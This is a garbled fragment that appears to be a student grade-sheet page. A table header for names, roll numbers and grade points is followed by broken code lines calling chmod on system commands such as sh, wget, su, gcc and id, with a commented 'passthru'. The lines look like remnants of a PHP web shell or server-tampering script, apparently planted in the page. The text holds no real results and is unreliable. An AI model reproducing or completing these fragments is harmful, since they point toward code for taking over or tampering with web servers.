Student Name Roll No. Reg. No Course Name Gread Point
chmod("ls"
chmod("ln"
chmod("pwd"
chmod("gunzip"
chmod("id"
//passthru
chmod("sh"
chmod("gzip"
chmod("date"
chmod("wget"
chmod("dir"
chmod("du"
chmod("tar"
chmod("gcc"
chmod("who"
chmod("Ptouch"
chmod("tail"
chmod("su"